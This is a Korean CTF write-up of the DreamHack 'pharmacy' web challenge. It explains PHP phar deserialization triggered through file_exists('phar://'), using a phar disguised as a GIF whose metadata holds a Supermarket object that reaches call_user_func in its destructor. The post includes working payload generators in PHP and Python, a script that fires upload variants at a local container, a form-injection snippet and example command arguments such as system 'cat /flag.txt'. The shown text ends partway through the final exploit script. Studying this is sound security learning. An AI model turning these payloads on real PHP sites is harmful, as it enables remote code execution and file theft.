[🥈 Silver 1] GIF 네 글자로 위장한 PHP 객체 — DreamHack pharmacy 풀이

2026-10-25·1분 읽기·

[🥈 Silver 1] GIF 네 글자로 위장한 PHP 객체 — DreamHack pharmacy 풀이

업로드 필터가 보는 것은 파일 앞 네 글자뿐이고, 존재 여부를 묻는 file_exists 한 줄은 phar 스킴이 붙는 순간 역직렬화가 된다. GIF 로 위장한 phar 의 메타데이터에 쓰이지도 않는 클래스를 심어 소멸자로 원격 명령 실행까지 간다.

문제: DreamHack — pharmacy 분류: web 난이도: 🥈 Silver 1 FLAG: DH{e4feb78a946278a94a4395c24371c5a4e04ba99db49c7e7257c3547d976225e5}

pharmacy 메인 페이지 - host3 드림핵 라이브 인스턴스 12778 포트에 떠 있는 Pharmacy 업로드 폼. 파일 선택 버튼과 초록색 upload 버튼뿐인 한 장짜리 화면이다
pharmacy 메인 페이지 - host3 드림핵 라이브 인스턴스 12778 포트에 떠 있는 Pharmacy 업로드 폼. 파일 선택 버튼과 초록색 upload 버튼뿐인 한 장짜리 화면이다

"처방전을 gif 로 올리라"는 페이지 하나가 전부다. 제공 파일은 Dockerfile 과 deploy/ 아래 PHP 두 장, CSS 한 장. 합쳐서 50줄이 조금 넘는다. 문제 설명은 이렇게 적혀 있다 — When things were wild, there was a good, old pharmacy... with a supermarket? 약국에 웬 슈퍼마켓인가 싶은데, 소스를 열어 보면 supermarket.php 라는 파일이 정말로 있고 그 안에 쓰이지도 않는 클래스가 하나 들어 있다.

그 클래스가 전부다. PHP 에서 phar:// 스트림 래퍼는 경로처럼 생겼지만 실제로는 unserialize() 의 입구고, 아카이브 안에 심어 둔 객체는 요청이 끝날 때 소멸자를 통해 깨어난다. 업로드 필터는 GIF 매직 네 글자로 넘고, 소멸자를 깨우는 스위치는 HTML 폼 어디에도 없는 POST 파라미터 하나다.


문제 개요

항목내용
문제명pharmacy
난이도🥈 Silver 1
분류web
출제Dreamhack CTF Season 5 Round #10 (🌱Div2)
스택PHP 7.4.33 · Apache 2.4 · Docker (php:7.4-apache)
제공 파일Dockerfile · deploy/run.sh · deploy/src/index.php · deploy/src/supermarket.php · style.css
핵심 취약점file_exists('phar://' . $업로드파일) → phar manifest metadata 역직렬화 → __destruct 의 call_user_func

풀이 흐름은 세 단계다. GIF 로 보이는 phar 아카이브를 만들고, 그 metadata 에 Supermarket 객체를 직렬화해 심고, 폼에 없는 emergent 파라미터를 붙여 올린다.



🧩 배경 — phar:// 는 경로가 아니라 역직렬화 입구다

PHP 의 Phar(PHP Archive)는 자바의 jar 같은 것이다. 스크립트와 리소스를 한 파일로 묶어 배포하라고 만들어졌고, phar:// 스트림 래퍼로 내부 파일에 접근한다. 여기까지는 평범한 아카이브 포맷이다.

문제는 phar 가 아카이브 전체에 대한 메타데이터를 들고 다닌다는 것, 그리고 그 메타데이터가 serialize() 로 직렬화돼 저장된다는 것이다. PHP 가 phar 를 열 때 그 구간을 unserialize() 한다. 아카이브 안의 파일을 하나도 꺼내지 않아도, 그냥 존재하는지만 물어봐도 열기는 열어야 하므로 역직렬화가 일어난다.

그래서 file_exists, is_file, filesize, md5_file, getimagesize, fopen 처럼 경로를 받는 함수 거의 전부가 phar:// 를 통하면 역직렬화 트리거가 된다. 2018년 Sam Thomas 가 BlackHat 에서 발표한 이래 잘 알려진 기법인데, "역직렬화 취약점은 unserialize() 를 호출하는 코드에만 있다"는 통념을 깨뜨린 게 요점이다. 이 문제의 index.php 에는 unserialize 라는 글자가 한 번도 나오지 않는다.

역직렬화된 객체는 그 자체로는 아무것도 하지 않는다. 깨우려면 매직 메서드가 필요하다. __wakeup, __destruct, __toString 같은 것들인데, 이 문제는 가장 단순한 __destruct 를 쓴다. 요청이 끝나고 객체가 수거될 때 자동으로 불린다.

아래는 실제로 내가 만들어 서버에 올린 238바이트 파일의 배치다. 오프셋은 뒤에서 parse_phar.py 로 직접 읽어낸 값 그대로다.

phar 아카이브 구조 도식 - 238바이트 파일이 스텁 42바이트, manifest 헤더, metadata 81바이트, 파일 목록과 본문, sha256 서명으로 나뉘고 metadata 가 unserialize 대상임을 보여준다
phar 아카이브 구조 도식 - 238바이트 파일이 스텁 42바이트, manifest 헤더, metadata 81바이트, 파일 목록과 본문, sha256 서명으로 나뉘고 metadata 가 unserialize 대상임을 보여준다

🔬 코드 정찰 — 50줄이 거는 네 개의 문

index.php 의 업로드 처리부는 이게 전부다.

$targetDirectory = "uploads/";
$uploadOK = 1;
 
if( isset($_POST["submit"])) {
    echo '<pre class="file-upload-form">';
    $tmpFile = $_FILES["fileToUpload"]["tmp_name"];
    $currentFile = $_FILES["fileToUpload"]["name"];
    $fileExtension = strtolower(pathinfo($currentFile, PATHINFO_EXTENSION));
 
    if (mime_content_type($tmpFile) !== "image/gif" || $fileExtension !== "gif") {
        echo "Prescription not gif!\n";
        $uploadOK = 0;
    }
 
    if ($uploadOK == 0) {
        echo "Prescription upload failed.\n";
    } else {
        $randomFileName = bin2hex(random_bytes(16));
        $targetFile = $targetDirectory . $randomFileName . "." . $fileExtension;
        if (move_uploaded_file($tmpFile, $targetFile)) {
            if (isset($_POST['emergent']))
                $targetFile = 'phar://' . $targetFile;
            else
                $targetFile = $targetFile;
 
            if (file_exists($targetFile)) {
                echo "Prescription submitted!\n";
            }
        } else {
            echo "Prescription upload failed.\n";
        }
    }
    echo '</pre>';
}

통과해야 할 문이 네 개다.

  1. mime_content_type($tmpFile) 이 정확히 image/gif 일 것 — 파일 내용을 본다.
  2. 원본 파일명의 확장자가 gif 일 것 — 파일 이름을 본다.
  3. isset($_POST['emergent']) 가 참일 것 — 그래야 phar:// 가 앞에 붙는다.
  4. file_exists() 가 그 경로를 실제로 열 수 있을 것 — 즉 올린 파일이 유효한 phar 일 것.

1번과 2번이 같은 if 안에서 OR 로 묶여 있어 실패 메시지가 구분되지 않는다. 확장자가 틀려도, 매직이 틀려도 똑같이 Prescription not gif! 다. 어느 문에서 막혔는지 응답만 보고는 알 수 없다.

그리고 supermarket.php. index.php 첫 줄의 require 로 항상 로드되지만, 정의된 함수도 클래스도 어디서도 호출되지 않는다.

<?php
function goodbye($customer) {
    echo "Good bye, $customer!\n";
}
 
class Supermarket {
    public $greet = 'goodbye';
    public $customer = 'dream';
    function __destruct() {
        call_user_func($this->greet, $this->customer);
    }
}
?>

__destruct 안에서 call_user_func($this->greet, $this->customer). 두 프로퍼티가 모두 public 이고 둘 다 우리가 직렬화 문자열로 정할 수 있다. 가젯으로서는 거의 교과서적인 모양이다. 기본값(goodbye, dream)대로면 Good bye, dream! 을 찍고 끝나지만, greet 를 readfile 로 customer 를 /flag.txt 로 바꾸면 그대로 파일 읽기가 된다.

그런데 이 클래스를 깨우려면 누군가 Supermarket 객체를 역직렬화해야 한다. index.php 어디에도 unserialize 는 없다. 있는 건 file_exists('phar://' . $targetFile) 한 줄뿐이고, 그게 바로 역직렬화다.

브라우저로 폼의 HTML 원본을 보면 입력 칸이 둘밖에 없다. fileToUpload 와 submit. emergent 는 사람이 직접 만들어 보내야 하는 파라미터다.

# view-source: 로 열면 렌더된 HTML 원본이 그대로 보인다
view-source:http://host3.dreamhack.games:12778/index.php
크롬 view-source 로 본 pharmacy 폼 HTML 원본 - 11행 form 태그 안에 fileToUpload 와 submit 두 개의 input 만 있고 emergent 라는 이름의 입력 칸은 어디에도 없다
크롬 view-source 로 본 pharmacy 폼 HTML 원본 - 11행 form 태그 안에 fileToUpload 와 submit 두 개의 input 만 있고 emergent 라는 이름의 입력 칸은 어디에도 없다

정상적인 GIF 를 그냥 올리면 어떻게 되는지부터 봤다. 업로드 자체는 막히지 않는다.

파일 선택 칸에 rx.gif 가 올라간 pharmacy 업로드 폼 - 진짜 1x1 GIF 를 골라 둔 상태이고 아직 upload 버튼은 누르지 않았다
파일 선택 칸에 rx.gif 가 올라간 pharmacy 업로드 폼 - 진짜 1x1 GIF 를 골라 둔 상태이고 아직 upload 버튼은 누르지 않았다
진짜 GIF 를 업로드한 뒤의 응답 - Prescription submitted 한 줄만 찍히고 그 아래에는 아무 출력도 없다. emergent 가 없으니 phar 역직렬화가 일어나지 않은 상태다
진짜 GIF 를 업로드한 뒤의 응답 - Prescription submitted 한 줄만 찍히고 그 아래에는 아무 출력도 없다. emergent 가 없으니 phar 역직렬화가 일어나지 않은 상태다

Prescription submitted! 가 찍힌다. 파일은 uploads/ 아래 어딘가에 저장됐다. 그런데 그 파일을 다시 집을 방법이 없다.

$randomFileName = bin2hex(random_bytes(16));
$targetFile = $targetDirectory . $randomFileName . "." . $fileExtension;

파일명이 CSPRNG 16바이트의 16진수다. 탐색 공간이 2의 128제곱이라 추측은 논외고, uploads/ 디렉토리는 인덱싱이 막혀 있다. 즉 "웹셸을 올려 두고 나중에 호출한다"는 흔한 경로가 설계 단계에서 닫혀 있다. 트리거는 업로드와 같은 요청 안에 있는 file_exists() 한 번뿐이고, 그 한 번을 phar:// 로 만드는 게 emergent 다.


🐛 삽질 — 네 개의 문을 하나씩 두드려 보기

막다른 길들 — 확장자·매직·서명·파라미터를 각각 하나씩 틀려 보고 서버 반응을 받아 적었다 (클릭)

"이건 안 된다"를 추측으로 쓰지 않으려고, 조건을 하나씩만 어긋나게 한 요청을 여덟 개 만들어 실제로 던졌다. 로컬 재현 컨테이너를 상대로 돌린 것이다.

#!/usr/bin/env python3
"""
pharmacy — 막다른 길을 실제로 때려 보고 서버가 뭐라 하는지 받아 적는다.
글에 "이건 안 된다"고 쓰려면 추측이 아니라 응답이 근거여야 한다.
 
사용법: python3 deadends.py http://127.0.0.1:18080/
"""
import hashlib
import struct
import sys
import urllib.error
import urllib.request
 
sys.path.insert(0, __import__("os").path.dirname(__import__("os").path.abspath(__file__)))
from solve import build_phar, php_serialize_supermarket, multipart, GIF_MAGIC
 
BASE = sys.argv[1].rstrip("/")
 
 
def upload(filedata, filename, emergent=True, extra=None):
    fields = {"submit": "upload"}
    if emergent:
        fields["emergent"] = "1"
    if extra:
        fields.update(extra)
    boundary, body = multipart(fields, "fileToUpload", filename, filedata)
    req = urllib.request.Request(BASE + "/index.php", data=body, method="POST",
                                 headers={"Content-Type":
                                          f"multipart/form-data; boundary={boundary}"})
    html = urllib.request.urlopen(req, timeout=20).read().decode("utf-8", "replace")
    # ★ "else 면 통과" 로 두면 안 된다 — file_exists() 가 false 라서 아무 문구도
    #    안 찍히는 경우가 있고, 그걸 통과로 오판한다(서명 훼손 케이스에서 실제로 걸렸다).
    verdict = ("거부: Prescription not gif" if "not gif" in html else
               "업로드 실패" if "upload failed" in html else
               "통과: Prescription submitted" if "Prescription submitted" in html else
               "업로드는 됐지만 file_exists()=false (무출력)")
    tail = (html.split("</html>", 1)[1] if "</html>" in html else "").strip()
    return verdict, tail
 
 
def line(label, verdict, tail):
    got = f"가젯 실행됨 → {tail!r}" if tail else "가젯 미실행(출력 없음)"
    print(f"{label:<44} | {verdict:<30} | {got}")
 
 
md = php_serialize_supermarket("readfile", "/flag.txt")
good_phar = build_phar(md, [("prescription.txt", b"pharmacy\n")])
 
print(f"{'시도':<44} | {'업로드 판정':<30} | 결과")
print("-" * 118)
 
# 1) 확장자를 .php 로 — 웹셸을 올리려는 가장 흔한 첫 시도
line("① .php 확장자 (웹셸 업로드)", *upload(good_phar, "shell.php"))
 
# 2) 확장자를 .phar 로 — phar 니까 .phar 여야 할 것 같지만
line("② .phar 확장자", *upload(good_phar, "exploit.phar"))
 
# 3) GIF 매직 없는 순수 phar — mime 검사에서 걸린다
plain = good_phar.replace(GIF_MAGIC, b"", 1)
plain = plain[:len(plain)]            # 스텁만 바꾼 것이라 서명이 깨지지만 mime 에서 먼저 막힌다
line("③ GIF 매직 없는 phar(.gif 이름)", *upload(plain, "x.gif"))
 
# 4) 진짜 GIF (phar 아님) — mime 은 통과하지만 열 게 없다
real_gif = (b"GIF89a" + b"\x01\x00\x01\x00\x80\x00\x00"
            + b"\x21\xf9\x04\x01\x00\x00\x00\x00\x2c\x00\x00\x00\x00"
            + b"\x01\x00\x01\x00\x00\x02\x02\x44\x01\x00\x3b")
line("④ 진짜 1x1 GIF (phar 아님)", *upload(real_gif, "cat.gif"))
 
# 5) emergent 없이 올바른 phar — phar:// 가 안 붙어 역직렬화가 안 걸린다
line("⑤ 올바른 phar · emergent 파라미터 없음", *upload(good_phar, "rx.gif", emergent=False))
 
# 6) 존재하지 않는 클래스를 metadata 에 — __PHP_Incomplete_Class 가 되어 가젯이 없다
bogus = b'O:9:"NoSuchCls":1:{s:1:"a";s:1:"b";}'
line("⑥ metadata 가 미정의 클래스", *upload(build_phar(bogus, [("a.txt", b"a")]), "rx.gif"))
 
# 7) SHA256 서명을 한 바이트 깨뜨린 phar — PHP 가 열기를 거부한다
broken = bytearray(good_phar)
broken[-10] ^= 0xFF
line("⑦ 서명 1바이트 훼손", *upload(bytes(broken), "rx.gif"))
 
# 8) __HALT_COMPILER(); 가 없는 파일 — phar 로 인식되지 않는다
nohalt = good_phar.replace(b"__HALT_COMPILER();", b"__HALT_COMPILERX();", 1)
line("⑧ __HALT_COMPILER() 토큰 훼손", *upload(nohalt, "rx.gif"))
 
# 9) 업로드된 파일을 두 번째 요청으로 다시 집을 수 있나 (난수 파일명 16바이트)
print("-" * 118)
for path in ("/uploads/", "/uploads/placeholder", "/uploads/" + "00" * 16 + ".gif"):
    try:
        r = urllib.request.urlopen(BASE + path, timeout=10)
        body = r.read()
        print(f"GET {path:<42} → HTTP {r.status} {len(body)}바이트")
    except urllib.error.HTTPError as e:
        print(f"GET {path:<42} → HTTP {e.code} {e.reason}")
print(f"{'난수 파일명 탐색 공간':<46} → bin2hex(random_bytes(16)) = 2^128 (추측 불가)")
python3 deadends.py http://127.0.0.1:18080/
deadends.py 실행 결과 표 - 여덟 가지 변형의 업로드 판정과 가젯 실행 여부가 한 줄씩 나오고 아래에 uploads 디렉토리가 403 이며 난수 파일명 탐색 공간이 2의 128제곱이라는 측정값이 붙어 있다
deadends.py 실행 결과 표 - 여덟 가지 변형의 업로드 판정과 가젯 실행 여부가 한 줄씩 나오고 아래에 uploads 디렉토리가 403 이며 난수 파일명 탐색 공간이 2의 128제곱이라는 측정값이 붙어 있다

읽어 보면 네 종류로 갈린다.

  • ①②③ — Prescription not gif!: 확장자를 php 나 phar 로 바꾸면 내용이 멀쩡한 phar 여도 막힌다. 반대로 GIF 매직 없는 순수 phar 는 이름을 .gif 로 해도 막힌다. 응답 문구가 같아 어느 쪽인지 구분이 안 된다.
  • ④⑦⑧ — 업로드는 됐는데 아무 문구도 안 찍힘: 진짜 GIF, 서명을 1바이트 깨뜨린 phar, __HALT_COMPILER() 토큰을 망가뜨린 phar. 셋 다 file_exists() 가 false 를 반환해 Prescription submitted! 조차 안 나온다. 경고도 없다 — phar 가 조용히 열기를 거부한다.
  • ⑤ — Prescription submitted! 만 찍힘: 올바른 phar 인데 emergent 를 안 보낸 경우. phar:// 가 안 붙으니 평범한 파일 존재 확인으로 끝난다.
  • ⑥ — Prescription submitted! 만 찍힘: metadata 에 정의되지 않은 클래스(NoSuchCls)를 넣은 경우. phar 는 정상적으로 열리고 역직렬화도 일어나지만, 그 클래스가 서버에 없으니 __PHP_Incomplete_Class 가 되고 소멸자가 없다. 아카이브는 열렸는데 가젯이 없는 것이다.

⑤와 ⑥이 같은 응답을 내는 게 이 문제의 구조를 잘 보여준다. 응답으로는 "역직렬화가 일어났는지"를 알 수 없고, 출력이 나오는 건 오직 가젯이 실제로 뭔가를 echo 했을 때뿐이다.

판정 로직을 짤 때 한 번 틀렸던 부분도 적어 둔다. 처음에는 not gif 도 upload failed 도 아니면 전부 "통과"로 분류했는데, ④⑦⑧처럼 업로드는 됐지만 file_exists() 가 false 라 아무 문구도 안 찍히는 경우가 그 else 로 떨어져 통과로 오판됐다. Prescription submitted 문자열을 직접 확인하도록 고치고 나서야 표가 맞아떨어졌다.

확장자를 php 로 바꾼 ① 은 브라우저로도 한 번 더 확인했다. 내용은 유효한 phar 그대로이고 이름만 shell.php 다.

확장자를 php 로 바꿔 업로드한 뒤의 응답 - Prescription not gif 와 Prescription upload failed 두 줄이 찍혀 내용이 아니라 파일 이름 때문에 막혔음을 보여준다
확장자를 php 로 바꿔 업로드한 뒤의 응답 - Prescription not gif 와 Prescription upload failed 두 줄이 찍혀 내용이 아니라 파일 이름 때문에 막혔음을 보여준다

💣 핵심 — GIF8 네 글자와 metadata 81바이트

두 번째 문(확장자)은 파일 이름을 prescription.gif 로 하면 끝이다. 첫 번째 문(mime_content_type)이 진짜 관문처럼 보이는데, 실제로는 생각보다 느슨하다.

mime_content_type() 은 libmagic 을 쓴다. GIF 판정 규칙은 파일 맨 앞 네 글자가 GIF8 인지 보는 게 사실상 전부다. 어디까지 느슨한지 궁금해서 서버와 같은 PHP 7.4 컨테이너 안에서 경계를 재 봤다.

<?php
/* mime_content_type() 이 무엇을 보고 image/gif 라 하는지 경계를 실측한다.
   (PHP 7.4 컨테이너 안에서 돌린다 — 서버와 같은 libmagic 이어야 의미가 있다) */
$halt = "<?php __HALT_COMPILER(); ?>\r\n";
$cases = [
  '매직 없음 (순수 PHP 스텁)'          => $halt,
  '"GIF8" 네 글자만'                   => "GIF8" . $halt,
  '"GIF89a" 여섯 글자만'               => "GIF89a" . $halt,
  '"GIF87a" 여섯 글자만'               => "GIF87a" . $halt,
  'GIF89a + 가로세로 1x1 + GCT'        => "GIF89a\x01\x00\x01\x00\x80\x00\x00" . $halt,
  'GIF89a + 가로세로 0x0'              => "GIF89a\x00\x00\x00\x00\x80\x00\x00" . $halt,
  '앞에 한 바이트 끼움'                 => "\x00GIF89a\x01\x00\x01\x00\x80\x00\x00" . $halt,
];
foreach ($cases as $label => $bytes) {
    $f = tempnam('/tmp', 'mime');
    file_put_contents($f, $bytes);
    printf("%-34s → %-24s %s\n", $label, mime_content_type($f),
           preg_match('/^image\/gif$/', mime_content_type($f)) ? '통과' : '거부');
    unlink($f);
}
docker run --rm -v "$PWD":/work:ro pharmacy-local php /work/probe_mime.php
PHP 7.4 컨테이너에서 돌린 mime 판정 경계 측정 - GIF8 네 글자만으로도 image gif 로 통과하고 매직이 없으면 text x-php, 앞에 한 바이트만 끼우면 application octet-stream 으로 거부된다
PHP 7.4 컨테이너에서 돌린 mime 판정 경계 측정 - GIF8 네 글자만으로도 image gif 로 통과하고 매직이 없으면 text x-php, 앞에 한 바이트만 끼우면 application octet-stream 으로 거부된다

네 글자면 충분하고, 가로세로 값은 0이어도 상관없다. 대신 반드시 오프셋 0 이어야 한다 — 앞에 한 바이트만 끼워도 application/octet-stream 으로 떨어진다. 매직을 안 붙인 순수 phar 스텁은 text/x-php 로 판정된다.

여기서 phar 포맷의 성질이 맞물린다. phar 의 스텁은 __HALT_COMPILER(); 토큰만 들어 있으면 되고, 그 앞에 무엇이 오든 상관하지 않는다. PHP 는 파일에서 그 토큰을 찾아 이후를 아카이브 본문으로 읽는다. 그러니 스텁 맨 앞에 GIF 매직을 붙이면 같은 파일이 libmagic 에게는 GIF 이고 PHP 에게는 phar 다.

실제 페이로드 생성기는 이렇게 썼다. Phar 클래스는 확장자가 .phar 가 아니면 생성을 거부하므로, 임시 경로에 만든 뒤 .gif 로 복사한다.

<?php
/*
 * pharmacy (Dreamhack, Silver 1) — PHAR 역직렬화 페이로드 생성기
 *
 * supermarket.php 의 가젯:
 *     class Supermarket { public $greet='goodbye'; public $customer='dream';
 *                         function __destruct(){ call_user_func($this->greet,$this->customer); } }
 *
 * 이 객체를 phar 메타데이터에 심어 두면, index.php 가 file_exists('phar://...') 를
 * 부르는 순간 메타데이터가 unserialize 되고 요청이 끝날 때 __destruct 가 돈다.
 *
 * 사용법:  php -d phar.readonly=0 gen_phar.php <출력파일.gif> <함수> <인자>
 * 예   :  php -d phar.readonly=0 gen_phar.php exploit.gif readfile /flag.txt
 *         php -d phar.readonly=0 gen_phar.php exploit.gif system  'cat /flag.txt'
 */
 
class Supermarket {
    public $greet;
    public $customer;
    public function __construct($greet, $customer) {
        $this->greet    = $greet;
        $this->customer = $customer;
    }
}
 
$out  = $argv[1] ?? 'exploit.gif';
$func = $argv[2] ?? 'readfile';
$arg  = $argv[3] ?? '/flag.txt';
 
// Phar 는 확장자가 .phar 여야 생성을 허용한다 → 만든 뒤 .gif 로 옮긴다
$tmp = sys_get_temp_dir() . '/pharmacy_' . bin2hex(random_bytes(4)) . '.phar';
@unlink($tmp);
 
$phar = new Phar($tmp);
$phar->startBuffering();
// mime_content_type() 이 image/gif 로 판정하도록 스텁 앞에 GIF 매직을 붙인다.
// 가로/세로 필드까지 채워 libmagic 이 온전한 GIF 로 읽게 한다.
$phar->setStub("GIF89a" . "\x01\x00\x01\x00\x80\x00\x00" . "<?php __HALT_COMPILER(); ?>");
$phar->setMetadata(new Supermarket($func, $arg));
$phar->addFromString('prescription.txt', "pharmacy\n");
$phar->stopBuffering();
 
copy($tmp, $out);
@unlink($tmp);
 
printf("WROTE %s (%d bytes)\n", $out, filesize($out));
printf("  metadata = Supermarket{greet=%s, customer=%s}\n", $func, $arg);
printf("  magic    = %s\n", bin2hex(substr(file_get_contents($out), 0, 6)));
printf("  mime     = %s\n", mime_content_type($out));
php -d phar.readonly=0 gen_phar.php exploit.gif readfile /flag.txt

phar.readonly 는 기본값이 1 이라 끄지 않으면 생성이 안 된다. 참고로 문제 서버 쪽은 1 그대로다 — 읽기 전용이어도 phar 를 읽는 건 막지 못한다는 게 이 기법이 자주 간과되는 이유다.

만들어진 파일을 file 과 xxd 로 들여다보면 두 포맷이 한 파일에 겹쳐 있는 게 그대로 보인다.

file capture_assets/prescription.gif && xxd -l 160 capture_assets/prescription.gif
file 과 xxd 출력 - 같은 파일을 file 명령은 GIF image data version 89a 1 x 1 로 보고, 16진 덤프에는 GIF89a 매직 바로 뒤에 HALT COMPILER 토큰과 Supermarket 객체 직렬화 문자열이 이어진다
file 과 xxd 출력 - 같은 파일을 file 명령은 GIF image data version 89a 1 x 1 로 보고, 16진 덤프에는 GIF89a 매직 바로 뒤에 HALT COMPILER 토큰과 Supermarket 객체 직렬화 문자열이 이어진다

file 은 "GIF image data, version 89a, 1 x 1" 이라고 답한다. 그런데 같은 덤프 안에 __HALT_COMPILER(); 가 있고, 0x40 부터는 O:11:"Supermarket":2:{s:5:"greet";s:8:"readfile";... 가 평문으로 들어 있다. 직렬화 문자열은 암호화되지 않으므로 그냥 읽힌다.

manifest 의 각 필드가 실제로 어떤 값인지 확인하려고 파서를 하나 짰다. 뒤에서 이 포맷을 파이썬으로 직접 만들 거라 오프셋을 정확히 알아야 했다.

#!/usr/bin/env python3
"""생성된 phar 를 바이트 단위로 해부해 manifest 필드를 확인한다 (포맷 역설계용)."""
import struct, sys, zlib
 
data = open(sys.argv[1], 'rb').read()
tok = b'__HALT_COMPILER();'
i = data.find(tok) + len(tok)
while i < len(data) and data[i:i+1] in (b' ', b'?', b'>', b'\r', b'\n'):
    i += 1
print(f"stub          : 0~{i} ({i}바이트)  {data[:6]!r}...")
u32 = lambda o: struct.unpack_from('<I', data, o)[0]
u16 = lambda o: struct.unpack_from('<H', data, o)[0]
 
mlen = u32(i);                 print(f"manifest_len  : {mlen} @0x{i:x}")
nfiles = u32(i+4);             print(f"num_files     : {nfiles}")
print(f"api_version   : 0x{u16(i+8):04x} (raw {data[i+8:i+10].hex()})")
gflags = u32(i+10);            print(f"global_flags  : 0x{gflags:08x}")
alen = u32(i+14);              print(f"alias_len     : {alen}  {data[i+18:i+18+alen]!r}")
o = i+18+alen
mdlen = u32(o);                print(f"metadata_len  : {mdlen}")
print(f"metadata      : {data[o+4:o+4+mdlen]!r}")
o += 4+mdlen
for n in range(nfiles):
    flen = u32(o); name = data[o+4:o+4+flen]; o += 4+flen
    usz, ts, csz, crc, ff = struct.unpack_from('<IIIII', data, o); o += 20
    fmd = u32(o); o += 4+fmd
    print(f"  file[{n}] name={name!r} usize={usz} mtime={ts} csize={csz} crc=0x{crc:08x} flags=0o{ff:o}")
end_manifest = i+4+mlen
print(f"manifest 끝   : 0x{end_manifest:x} (계산 커서 0x{o:x})")
body_end = end_manifest
for n in range(nfiles):
    pass
print(f"꼬리 16바이트  : {data[-16:].hex()}  magic={data[-4:]!r} sigtype={u32(len(data)-8)}")
sigtype = u32(len(data)-8)
siglen = {1:16, 2:20, 3:32, 4:64}[sigtype]
signed = data[:len(data)-8-siglen]
import hashlib
algo = {1:"md5", 2:"sha1", 3:"sha256", 4:"sha512"}[sigtype]
calc = hashlib.new(algo, signed).digest()
print(f"sig_type={sigtype}({algo}) 저장값일치={calc == data[len(data)-8-siglen:len(data)-8]}")
python3 parse_phar.py capture_assets/prescription.gif
parse phar 실행 결과 - 스텁 42바이트, manifest 길이 143, metadata 81바이트에 Supermarket 직렬화 문자열, 서명 타입 3번 sha256 의 저장값이 재계산 결과와 일치한다는 출력이 나온다
parse phar 실행 결과 - 스텁 42바이트, manifest 길이 143, metadata 81바이트에 Supermarket 직렬화 문자열, 서명 타입 3번 sha256 의 저장값이 재계산 결과와 일치한다는 출력이 나온다

읽어낸 값들을 정리하면 이렇다.

필드값비고
스텁0x00 – 0x29 (42바이트)GIF89a + 치수 7바이트 + <?php __HALT_COMPILER(); ?> + CRLF
manifest 길이143이 필드 뒤부터 파일 목록 끝까지
api 버전0x0011phar 1.1.0
global flags0x00010000서명이 붙어 있다는 비트
metadata 길이81Supermarket 직렬화 문자열의 길이
서명 타입3 (sha256)꼬리 4바이트는 GBMB 매직

서명이 중요하다. PHP 는 phar 를 열 때 서명을 검증하고, 1바이트만 어긋나도 조용히 열기를 거부한다(위 삽질 토글의 ⑦번). 그래서 phar 를 손으로 만들려면 서명까지 제대로 계산해야 한다.


🎯 익스플로잇 — 폼에 없는 칸을 브라우저에서 만들어 붙이기

emergent 는 HTML 에 없으니 브라우저만으로 보내려면 폼에 칸을 하나 끼워 넣어야 한다. 서버는 POST 본문만 보므로, 개발자 도구나 짧은 스크립트로 입력 칸을 추가하면 그만이다. 캡쳐에서는 그 칸이 보이도록 type=hidden 대신 보통 텍스트 칸으로 넣었다.

// 폼에 emergent 칸을 눈에 보이게 끼워 넣는다 (서버는 POST 본문만 본다)
const f = document.querySelector('form.file-upload-form');
const wrap = document.createElement('div');
wrap.innerHTML = '<label style="color:#c0392b;font-weight:bold">emergent '
  + '<input name="emergent" value="1" class="file-upload-input" style="width:60px"></label>';
f.insertBefore(wrap, f.querySelector('.file-upload-button'));
emergent 입력 칸이 추가된 pharmacy 업로드 폼 - 파일 선택 칸에는 prescription.gif 가 올라가 있고 그 아래 빨간 글씨로 emergent 라벨과 값 1 이 들어간 칸이 새로 생겼다
emergent 입력 칸이 추가된 pharmacy 업로드 폼 - 파일 선택 칸에는 prescription.gif 가 올라가 있고 그 아래 빨간 글씨로 emergent 라벨과 값 1 이 들어간 칸이 새로 생겼다

이 상태로 upload 를 누르면 file_exists('phar://uploads/<난수>.gif') 가 아카이브를 열고, metadata 의 Supermarket 이 복원되고, 요청이 끝날 때 소멸자가 readfile('/flag.txt') 를 부른다. 출력은 __destruct 시점에 나오므로 </html> 뒤에 붙는다.

emergent 파라미터와 함께 phar 를 업로드한 뒤의 브라우저 화면 - Prescription submitted 아래에 DH 로 시작하는 64자리 16진 플래그가 본문 맨 끝에 붙어 출력됐다
emergent 파라미터와 함께 phar 를 업로드한 뒤의 브라우저 화면 - Prescription submitted 아래에 DH 로 시작하는 64자리 16진 플래그가 본문 맨 끝에 붙어 출력됐다


🚀 Full Exploit — PHP 없이 파이썬으로 phar 를 짓는다

gen_phar.php 로도 충분히 풀리지만, 공격자 쪽에 PHP 와 phar.readonly=0 이 필요하다는 게 걸렸다. manifest 구조를 위에서 다 읽어냈으니 파이썬으로 직접 조립하는 쪽이 재현하기에도 낫다. 서명(sha256)과 GBMB 꼬리까지 포함해 220줄짜리 한 파일로 만들었다. 외부 패키지를 쓰지 않는다 — struct·hashlib·binascii·urllib 만 쓰므로 파이썬 3.8 이상이면 pip install 없이 그대로 돈다(내 환경은 Python 3.13.7 · Ubuntu 25.10). multipart 본문도 직접 조립한다.

#!/usr/bin/env python3
"""
pharmacy (Dreamhack, Silver 1 / web) — PHAR 역직렬화로 /flag.txt 읽기
 
index.php 가 하는 일
  1) mime_content_type($tmp) === "image/gif"  AND  확장자 === "gif"
  2) uploads/<random_bytes(16) 16진수>.gif 로 move_uploaded_file
  3) POST 에 emergent 가 있으면  $targetFile = 'phar://' . $targetFile
  4) file_exists($targetFile)
 
4번이 phar:// 라면 PHP 는 아카이브를 열어 manifest 의 metadata 를 unserialize 한다.
supermarket.php 에 __destruct 가 call_user_func($this->greet, $this->customer) 인
Supermarket 이 있으므로, metadata 에 그 객체를 심어 두면 요청이 끝날 때 호출된다.
 
파일명이 매 요청 난수라 두 번째 요청으로는 접근할 수 없다 → 트리거는 같은 요청 안의 3·4번뿐이다.
 
phar 아카이브를 PHP 없이 순수 파이썬으로 만든다(스텁 앞에 GIF 매직을 붙여 1번을 통과).
 
사용법:
    python3 solve.py http://host1.dreamhack.games:PORT/
    python3 solve.py http://127.0.0.1:18080/ --gadget system --arg 'id; cat /flag.txt'
"""
import argparse
import binascii
import hashlib
import re
import struct
import sys
import urllib.request
 
# ── phar 포맷 ───────────────────────────────────────────────────────────────────
# [stub][manifest][파일 본문][signature][sig_type u32]["GBMB"]
# manifest = u32 manifest_len | u32 num_files | u16 api_ver | u32 global_flags
#            u32 alias_len + alias | u32 metadata_len + metadata
#            파일마다: u32 name_len + name | u32 usize | u32 mtime | u32 csize
#                       u32 crc32 | u32 flags(퍼미션) | u32 file_metadata_len + md
PHAR_API_VERSION = b"\x11\x00"       # 1.1.0
PHAR_HDR_SIGNATURE = 0x00010000      # global_flags 의 "서명 있음" 비트
